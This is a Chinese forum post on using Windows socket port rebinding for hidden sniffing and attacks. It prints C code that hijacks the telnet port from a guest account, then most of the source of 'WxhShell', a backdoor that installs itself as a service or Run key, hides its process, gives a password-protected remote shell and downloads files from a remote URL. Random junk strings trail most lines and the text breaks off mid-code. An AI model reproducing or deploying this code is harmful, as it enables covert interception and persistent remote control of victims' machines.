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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: &H4Y`xV^=  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #`HY"-7m_  
~6Xr^An/Z  
  saddr.sin_family = AF_INET; j`D%Wx_  
#VvU8"u  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); D<QE?:#  
!y$:}W?_  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); f}!Eu  
f@j)t%mh  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^t$xR_  
cIS?EW]S%X  
  这意味着什么?意味着可以进行如下的攻击: L0Ycf|[s,  
!RXG{1 :  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ; u@& [  
ppP0W `p  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) yrF"`/zv6|  
G%HuB5:u  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 '!DS3zEeLS  
m|M'vzu1  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  n^t!+  
Q,m&XpZ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 W>o>Y$H  
@2`$ XWD  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 +F4SU(T  
4lF(..Ix  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 F1q6 3  
Mb^E  
  #include Q1'4xWu  
  #include (M-W ea!q  
  #include +V` *  
  #include    S]x\Asj;w  
  DWORD WINAPI ClientThread(LPVOID lpParam);   [["az'Lrk?  
  int main() PB(q9gf"1}  
  { k d9<&.y{  
  WORD wVersionRequested; ~-tKMc).X  
  DWORD ret; 1EemVZdY  
  WSADATA wsaData; cuoZ:Wh  
  BOOL val; s L=}d[  
  SOCKADDR_IN saddr; A-&XgOL  
  SOCKADDR_IN scaddr; $X_A 74 (  
  int err; >+FaPym  
  SOCKET s; :pCv!g2  
  SOCKET sc; nJhaI  
  int caddsize; _+6aD|7x  
  HANDLE mt; 6%B)  
  DWORD tid;   E;bv;RUio  
  wVersionRequested = MAKEWORD( 2, 2 ); :V!F~  
  err = WSAStartup( wVersionRequested, &wsaData ); )?MUUI:  
  if ( err != 0 ) { KK';ho,W  
  printf("error!WSAStartup failed!\n"); ^1-Vd5g  
  return -1; aCF=Og  
  } vACJE  
  saddr.sin_family = AF_INET; 4de:hE   
   tyU'[LF?  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 AF\gB2^  
_Q9I W  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); k@[{_@>4^  
  saddr.sin_port = htons(23); E0)43  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8)ykXx/f@  
  { B2^*Sr[  
  printf("error!socket failed!\n"); bV&"jjEx  
  return -1; -R-yr.$j*  
  } I&9Itn p$  
  val = TRUE; U BWUq  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 4q)+nh~s  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) +`f3_Xd  
  { A&S n^mw  
  printf("error!setsockopt failed!\n"); isU4D  
  return -1; n09P!],Xa  
  } se@ ?:n1)  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; }0}=-g&  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 IAi|4,y_L  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 )dfwYS*[n  
>zo_}A!  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) dCA! R"HD  
  { g `(3r  
  ret=GetLastError(); }u]7x:lh  
  printf("error!bind failed!\n"); Yy'CBIq#f  
  return -1; N}ZBtkR  
  } O?t49=uB}  
  listen(s,2); (9Of,2]&E  
  while(1) ?k^~qlye  
  { !LJ4 S  
  caddsize = sizeof(scaddr); 2QgD<  
  //接受连接请求 lx<!*2 -^  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !;Vqs/E  
  if(sc!=INVALID_SOCKET) qH(HcsgD  
  { k] A(nr  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); n.=Zw2FE  
  if(mt==NULL) l?B=5*0  
  { V-9\@'gc  
  printf("Thread Creat Failed!\n"); ?|Ey WAL  
  break; snYyxi  
  } @^.o8+Pp  
  } }`y%*--  
  CloseHandle(mt); f0{j/+F_o  
  }  }=d}q *  
  closesocket(s); "j8`)XXa(  
  WSACleanup(); @77+K:9I 7  
  return 0; Mq='|0,  
  }   ?4#UW7I  
  DWORD WINAPI ClientThread(LPVOID lpParam) H.< F6  
  { P~;1adi3  
  SOCKET ss = (SOCKET)lpParam; 9t!Agxm  
  SOCKET sc; n.XgGT=L  
  unsigned char buf[4096]; 89j*uT  
  SOCKADDR_IN saddr; 1<Vke$   
  long num; k8b5~A,  
  DWORD val; |W*5<2Q9  
  DWORD ret; L=dQ,yA  
  //如果是隐藏端口应用的话,可以在此处加一些判断 c8Nl$|B  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   T037|k a{  
  saddr.sin_family = AF_INET; XEBj=5sG  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); X>%li$9J.  
  saddr.sin_port = htons(23); " u)e,gu  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (aLjW=  
  { mD%IHzbn H  
  printf("error!socket failed!\n"); kqjj&{vPFJ  
  return -1; (}rBnD  
  } >T)tAZ?WK  
  val = 100; 1\J9QZX0  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ZK h4:D  
  { m'-QVZ{(M%  
  ret = GetLastError(); Dq-[b+bm  
  return -1; bg5i+a,?  
  } "m`}J*s"  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /VD[:sU7  
  { A b+qLh&?  
  ret = GetLastError(); ]X> I(p@  
  return -1; b&6lu4D  
  } 4K ]*bF44  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) \Hw*q|  
  { kt |j]:  
  printf("error!socket connect failed!\n"); CwD=nT5`  
  closesocket(sc); @Z5,j)  
  closesocket(ss); sR^b_/ElxT  
  return -1; CjEzsjqe<I  
  } 3WpQzuHPT  
  while(1) ix"BLn]YZ  
  { -EP(/CS!  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 *'*n}fM  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 -s0\4  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 p W@Yr  
  num = recv(ss,buf,4096,0); MnlD87x@X  
  if(num>0) }a;H2&bu  
  send(sc,buf,num,0); +BDW1%  
  else if(num==0) R@#xPv4o%  
  break; Ezev ^O]   
  num = recv(sc,buf,4096,0); bVzJOBe  
  if(num>0) NkoyEa/^[  
  send(ss,buf,num,0); 2O- 4x  
  else if(num==0) ?_r{G7|D  
  break; [930=rF*  
  }  uAs!5h  
  closesocket(ss); `KZu/r-M9  
  closesocket(sc); putRc??o;  
  return 0 ; $)~:H-  
  } \58bz<u"  
hl0\$  
Bw~jqDZ}|  
========================================================== /N#=Tol  
 ^"~r/@l  
下边附上一个代码,,WXhSHELL ' 6)Yf}I  
V5p^]To!  
========================================================== GQjwr(  
/ZM xVh0  
#include "stdafx.h" 8llXpe  
B@S~v+Gr  
#include <stdio.h> 1CR\!?  
#include <string.h> {|<yZ,,p  
#include <windows.h> )!U@:x\K  
#include <winsock2.h> 5$Kd<ky  
#include <winsvc.h> WX]O1Y  
#include <urlmon.h> _BONN6=*y  
|Qcj +HH.  
#pragma comment (lib, "Ws2_32.lib") N|%r5%  
#pragma comment (lib, "urlmon.lib") jT/P+2hMW  
T]/5aA4  
#define MAX_USER   100 // 最大客户端连接数 C/QrkTi=  
#define BUF_SOCK   200 // sock buffer 2.N)N%@  
#define KEY_BUFF   255 // 输入 buffer )a5ON8?  
@^DVA}*b)  
#define REBOOT     0   // 重启 e"*1l>g  
#define SHUTDOWN   1   // 关机 n 83Dt*O  
%YbL%i|U  
#define DEF_PORT   5000 // 监听端口 9_4(}|"N|  
+SE\c  
#define REG_LEN     16   // 注册表键长度 C]fX=~?bGQ  
#define SVC_LEN     80   // NT服务名长度 F'F 6 &a+  
`7'^y  
// 从dll定义API :I2,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \B:k|Pw6~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); j9yOkaVEg  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); cLRzm9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); D>;_R HK  
cNN0-<#c  
// wxhshell配置信息 +FAxqCkA  
struct WSCFG { NFP h}D  
  int ws_port;         // 监听端口 `(gQw~|z  
  char ws_passstr[REG_LEN]; // 口令 @2mWNYHR*>  
  int ws_autoins;       // 安装标记, 1=yes 0=no :_]0 8  
  char ws_regname[REG_LEN]; // 注册表键名 :R3iLy  
  char ws_svcname[REG_LEN]; // 服务名 gz~ug35  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3,`M\#z%K  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~H:=p  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4[&&E7]EX  
int ws_downexe;       // 下载执行标记, 1=yes 0=no M,X)rM}Q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" XR 3 dG:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 iz)r.TJ  
s diWQv  
}; A:D9qp  
%O f w"W  
// default Wxhshell configuration 7 h0u7N  
struct WSCFG wscfg={DEF_PORT, ~ ^D2]j  
    "xuhuanlingzhe", :WsHP\r  
    1, O*bzp-6\  
    "Wxhshell", ; yE.R[I  
    "Wxhshell", GU9G5S.  
            "WxhShell Service", 'n1$Y%t  
    "Wrsky Windows CmdShell Service", >8x)\'w  
    "Please Input Your Password: ", 7ku=roPoF  
  1, `rK@> -  
  "http://www.wrsky.com/wxhshell.exe", CE!cZZ  
  "Wxhshell.exe" B/qN1D]U.  
    }; k Jw Pd;%  
$tI<MZ&Z  
// 消息定义模块 2y|n!p T  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; + !" Y C  
char *msg_ws_prompt="\n\r? for help\n\r#>"; jIwN,H1$-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Hz[1c4)'F  
char *msg_ws_ext="\n\rExit."; Q`6hJgyL  
char *msg_ws_end="\n\rQuit."; 2{Dnfl'k  
char *msg_ws_boot="\n\rReboot..."; m+:JNgX6  
char *msg_ws_poff="\n\rShutdown..."; 'Z=_zG/RX  
char *msg_ws_down="\n\rSave to "; c HR*.  
6J#R1.h  
char *msg_ws_err="\n\rErr!"; )4-!]NsV  
char *msg_ws_ok="\n\rOK!"; 3TLym&  
.qKfhHJ  
char ExeFile[MAX_PATH]; \IYv9ScAx  
int nUser = 0; :SW vH-]  
HANDLE handles[MAX_USER]; )V+/@4  
int OsIsNt; xLLTp7b(  
n7Bv~?DM  
SERVICE_STATUS       serviceStatus; ZXkrFA |  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =R 4]Kf  
.w _BA)  
// 函数声明 nk_X_y  
int Install(void); Y2tBFeWY  
int Uninstall(void); lZe-A/E  
int DownloadFile(char *sURL, SOCKET wsh); s-(c-E09  
int Boot(int flag); 7HY8 F5Brx  
void HideProc(void); Gd`7Tf)'  
int GetOsVer(void); *GY8#Az  
int Wxhshell(SOCKET wsl); F(Zf=$cx  
void TalkWithClient(void *cs); (3Xs  
int CmdShell(SOCKET sock); [`s.fkb8  
int StartFromService(void); 5} <OB-9  
int StartWxhshell(LPSTR lpCmdLine); 0u&x%c  
` ~^My~f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y`5 ?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); X[dH*PV  
fVa z'R  
// 数据结构和表定义 @Q{:m)\  
SERVICE_TABLE_ENTRY DispatchTable[] = =sv?))b`  
{ RJd*(!y  
{wscfg.ws_svcname, NTServiceMain}, [{#T N  
{NULL, NULL} 2 M\7j  
}; UWhHzLcXh  
0-aaLC~Z>  
// 自我安装 {06ClI  
int Install(void) 8.^`~ta  
{ /.rj\,  
  char svExeFile[MAX_PATH]; 92R,o'#  
  HKEY key; ]Ol w6W?%  
  strcpy(svExeFile,ExeFile); Z+EZ</'(a  
QmGK! H>3  
// 如果是win9x系统,修改注册表设为自启动 .I]v D#o  
if(!OsIsNt) { #*lDKn[vO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  t5S|0/f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GUM-|[~  
  RegCloseKey(key); f\=,_AQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \fSruhD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fk6=;{  
  RegCloseKey(key); Pg`+Q^^6S  
  return 0; yw%E S  
    } xaB#GdD  
  } bF*Kb"!CF  
} =B'Yx  
else { 8'zfq ]g  
7<(U`9W/q  
// 如果是NT以上系统,安装为系统服务 {M=B5-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }weE^9GiJ  
if (schSCManager!=0) oa5L5Zr,A  
{ a #s Nd  
  SC_HANDLE schService = CreateService  lA4J#  
  ( p`Tl)[*  
  schSCManager, y?3u6q++  
  wscfg.ws_svcname, *%_M?^  
  wscfg.ws_svcdisp, EV* |\ te  
  SERVICE_ALL_ACCESS, ,1!Y!,xy  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U UtS me  
  SERVICE_AUTO_START, S:xs[b.ZZ  
  SERVICE_ERROR_NORMAL, J|o<;9dg1  
  svExeFile, %iYro8g!,  
  NULL, 1|G5 W:  
  NULL, CN-4FI)1D9  
  NULL, : 4lR`%  
  NULL, A,4} $-7  
  NULL 2v4&'C  
  ); \>w 2D  
  if (schService!=0) 'cIFbjJ  
  { tpeMq -  
  CloseServiceHandle(schService); N>P" $  
  CloseServiceHandle(schSCManager); j\Fbi3H  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); z5<&}Vh;P  
  strcat(svExeFile,wscfg.ws_svcname); (5y*Btd=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Aq(,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0lcwc"_DZX  
  RegCloseKey(key); fHI@' '0  
  return 0; h]|2b0  
    } Zw/??Tq b  
  } 4 BNbS|?vV  
  CloseServiceHandle(schSCManager); -%[6q  
} lD _iIe~c  
} v] Xy^7?  
6OQ\f,h@  
return 1; <3=k  
} >%_i#|dE>  
z|S4\Ae  
// 自我卸载 4`r-*Lx  
int Uninstall(void) t)(>E'X x  
{ s <$*A;t  
  HKEY key; cj[%.M5iBA  
`@:k*d  
if(!OsIsNt) { gKPqU@$*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [f$pq5f='  
  RegDeleteValue(key,wscfg.ws_regname); ?4Zo0DiUB  
  RegCloseKey(key); ,? &$ c+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,p..h+l  
  RegDeleteValue(key,wscfg.ws_regname); ry* 9  
  RegCloseKey(key); PbMvM  
  return 0; lx82:_  
  } L>57eF)7  
} V0F1X s`  
} 1py >[II@  
else { Y[;Z7p  
4%TmW/yd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0J= $ A  
if (schSCManager!=0) U/rFH9e$  
{ |B),N f|a  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K5+ONA<c  
  if (schService!=0) +gb"} cN  
  { gGbqXG^  
  if(DeleteService(schService)!=0) { AAc2u^spx  
  CloseServiceHandle(schService); 2-"`%rE  
  CloseServiceHandle(schSCManager); VZA>ErB  
  return 0; ~~WX#Od*$  
  } GsE =5A8  
  CloseServiceHandle(schService); !/e8x;_  
  } qKuHd~M{ 1  
  CloseServiceHandle(schSCManager); H<`7){iG  
} @=l.J+lh  
} Pj*"2 LBW#  
93Qx+oK]  
return 1; 0Jm)2@  
} &+pp;1ls  
`SYq/6$VEH  
// 从指定url下载文件 0:>C v<N  
int DownloadFile(char *sURL, SOCKET wsh) k jR-p=}  
{ 7{ QjE  
  HRESULT hr; ery{>|k  
char seps[]= "/"; 8uetv  
char *token; 3:!5 ]  
char *file; sH)40QmO{  
char myURL[MAX_PATH]; ]-u>HO g\  
char myFILE[MAX_PATH]; xa%2w]  
M0RVEhX  
strcpy(myURL,sURL); rJcZ a#  
  token=strtok(myURL,seps); IeE6?!,)  
  while(token!=NULL) )/?s^D$,  
  { 4= hz4(5a  
    file=token; 0J9Ub   
  token=strtok(NULL,seps); M4}zRr([.5  
  } jR,3 -JQ  
A)o%\j  
GetCurrentDirectory(MAX_PATH,myFILE); aaesgF  
strcat(myFILE, "\\"); [Z+E_Lbz  
strcat(myFILE, file); K>`*JJ,  
  send(wsh,myFILE,strlen(myFILE),0); CLY>M`%?+p  
send(wsh,"...",3,0); T9Pu V  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); k|_LF[*Z  
  if(hr==S_OK) 1?ST*b  
return 0; BQ77 n2(@  
else @?<1~/sfL  
return 1; [c#?@S_  
Gv }~  
} v@]\  P<E  
CZ/:(sOJ  
// 系统电源模块 Zk 9i}H  
int Boot(int flag) G!m;J8#m(  
{ si>gYO  
  HANDLE hToken; MG0d&[  
  TOKEN_PRIVILEGES tkp; +K*_=gHF.  
,[ M^rv  
  if(OsIsNt) { uze5u\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Gw}b8N6E  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); eop7=!`-~~  
    tkp.PrivilegeCount = 1; *Mr'/qp,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; E@^mlUf  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /7XVr"R  
if(flag==REBOOT) { PsoW:t  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &$E.rgtg  
  return 0; 's6hCs&|NV  
} :jioF{,  
else { C*,PH!$k  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7W\aX*]  
  return 0; +^@6{1  
} "+KAYsVtU  
  } Hqm1[G)  
  else { BpZ17"\z  
if(flag==REBOOT) { !3Me 6&$O  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) g7U>G=,;?U  
  return 0; 5iP{)  
} ! V;glx[  
else { 8 n)3'ok  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) D<XRu4^;  
  return 0; #`{L_n$c  
} :s'hXo  
} AwO'%+Bv  
}=JuC+#~n  
return 1; QF`o%mI  
} [}bPkD  
14;lB.$p  
// win9x进程隐藏模块 R?GF,s<j  
void HideProc(void) Gf1O7L1rX  
{ #R$[?fW  
,2 _!hm /  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0ud>oh4WPR  
  if ( hKernel != NULL ) AIa#t#8${  
  { 0] $5jW6]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^5d9n<_xnQ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ac??lHtH9  
    FreeLibrary(hKernel); 9J'3b <  
  } y1 53ax  
X mX .)h'Y  
return; J?N9*ap)  
} -$m?ShDd  
Kw ^tvRt'*  
// 获取操作系统版本 v"a.%" oN8  
int GetOsVer(void) -S%)2(f^  
{ bZsg7[: C  
  OSVERSIONINFO winfo; d8Kxtg Y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `OmYz{*r  
  GetVersionEx(&winfo); fKZgAISF  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Kp_^ 2V?  
  return 1; !~~j&+hK\  
  else xg2 &  
  return 0; H0.,h;  
} %!e;sL~&  
PofHe  
// 客户端句柄模块 #yVMC;J?W  
int Wxhshell(SOCKET wsl) 86,$ I+  
{ znl_~:.4]X  
  SOCKET wsh; jB-)/8.qk  
  struct sockaddr_in client; hPHrq{YZ  
  DWORD myID; 4C{3>BE  
@Ui dQX"b  
  while(nUser<MAX_USER) \v}3j^Yu  
{ h*GU7<F:a  
  int nSize=sizeof(client); qW6}^aa  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); aY7.<p*a  
  if(wsh==INVALID_SOCKET) return 1; |6.1uRFE2  
#Qp.O@e  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t,yzqn  
if(handles[nUser]==0) JKsdPW<?  
  closesocket(wsh); Ut xe  
else z.7'yJIP#  
  nUser++; N%.Dj H  
  } |ozlaj  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); M%NapK  
_("&jfn  
  return 0; cOr@dUSL  
} BsX# ~  
>O{/%(9  
// 关闭 socket Ag!#epi{0  
void CloseIt(SOCKET wsh) ]'/ZSy,  
{ }w)`)N  
closesocket(wsh); pH1 9"=p<  
nUser--; f1RfNiW.  
ExitThread(0); 5vso%}c  
} >xt*(j&}  
\#A=twp  
// 客户端请求句柄 -)Y?1w  
void TalkWithClient(void *cs) 3[jk}2R';p  
{ *G{Zo*2< i  
mJ%r2$/*  
  SOCKET wsh=(SOCKET)cs; [,|Z<  
  char pwd[SVC_LEN]; XTZI !  
  char cmd[KEY_BUFF]; ?Ze3t5Ll  
char chr[1]; ,A>i)brc  
int i,j; D=fB&7%@  
^gdg0y!5~  
  while (nUser < MAX_USER) { [i'\d}  
"p\XaClpz  
if(wscfg.ws_passstr) { >)N}V'9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ibOXh U  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cg,_nG]i  
  //ZeroMemory(pwd,KEY_BUFF); e<p_u)m  
      i=0; S"=o U}'|  
  while(i<SVC_LEN) { z^f-MgWG  
TLL.Ch|#Y  
  // 设置超时 T'*.LpNP,  
  fd_set FdRead; &\C{,:[  
  struct timeval TimeOut; T_}\  
  FD_ZERO(&FdRead); !HXdUAKu  
  FD_SET(wsh,&FdRead); 8<g_JW[%  
  TimeOut.tv_sec=8; i#jCf3%+ h  
  TimeOut.tv_usec=0; DOXRU5uP3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *4zVK/FJ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7#,+Q(2  
2#A u6BvX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t3/!esay  
  pwd=chr[0]; Ej1 [ry  
  if(chr[0]==0xd || chr[0]==0xa) { Oz9k.[j(  
  pwd=0; rrSA.J{  
  break; 'Ph4(Yg  
  } ^3`98y.Q  
  i++; iR#jBqXD  
    } !qH=l-7A  
n20H{TA  
  // 如果是非法用户,关闭 socket p Nu13o~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0nAeeVz|  
} 7l Aa6"Y68  
eT+MN`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `bZ_=UAb  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U gB  
q<JI!n1O  
while(1) { q9Y0Lk  
f|VP_o<  
  ZeroMemory(cmd,KEY_BUFF); "`:#sF9S  
?NI)3-l  
      // 自动支持客户端 telnet标准   j.C C.[$g  
  j=0; ]dDyz[NuvD  
  while(j<KEY_BUFF) { 'q*1HNwGp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gr=ke #   
  cmd[j]=chr[0]; RpLm'~N'  
  if(chr[0]==0xa || chr[0]==0xd) { (oJ#`k:&n  
  cmd[j]=0; I{cn ,,8  
  break; U(./LrM05  
  } c_^H;~^rL  
  j++; 5<w0*~Z d~  
    } q#\eL~k  
3F}d,aB A  
  // 下载文件 dm$:xE":  
  if(strstr(cmd,"http://")) { :OI!YR%"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Mdwh-Cis/  
  if(DownloadFile(cmd,wsh)) JmYi&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); wU#Q>ut'%  
  else m Xw1%w[*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u gfV'  
  } !#iP)"O  
  else { vJq`l3&  
71/6=aq>n  
    switch(cmd[0]) { "Ln\ZYB]  
  fQx 4/4j  
  // 帮助 E/GI:}YUy_  
  case '?': { 9DtSYd/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _F3vC#  
    break; Pq4sv`q)S  
  } xD lC]loi7  
  // 安装 U |4% ydG  
  case 'i': { kD; BwU[  
    if(Install()) FyS K&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BLJ-' 8G  
    else hG;u8|uT^i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y66 vJ<lM  
    break; 2=3iA09px  
    } jY?%LY@5I  
  // 卸载 ;%82Z4  
  case 'r': { d7G'+B1  
    if(Uninstall()) cL WM]\Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )O&$-4gL'  
    else i([A8C_A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); etDB|(,z  
    break; >$"bwr}'4B  
    } lp]O8^][&  
  // 显示 wxhshell 所在路径 X>wQYIi  
  case 'p': { nEn2!)$  
    char svExeFile[MAX_PATH]; ]CL70+[^9  
    strcpy(svExeFile,"\n\r"); oD}I{&=wa  
      strcat(svExeFile,ExeFile); l/I W"A  
        send(wsh,svExeFile,strlen(svExeFile),0); ]jYl:41yI  
    break; ?NwFpSB2  
    } 0CN .gu  
  // 重启 yi%B5KF~Al  
  case 'b': { qzyQ2a_p  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >ab=LDoM  
    if(Boot(REBOOT)) G37_ `C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w\QpQ~OX  
    else { 0+H"$2/  
    closesocket(wsh); !kz\ {  
    ExitThread(0); 0!zWXKX  
    } 7vWB=r>5@  
    break; C'$U1%: j  
    } Gce_gZH7{  
  // 关机 ;}PL/L$L6;  
  case 'd': { bBQp:P?E  
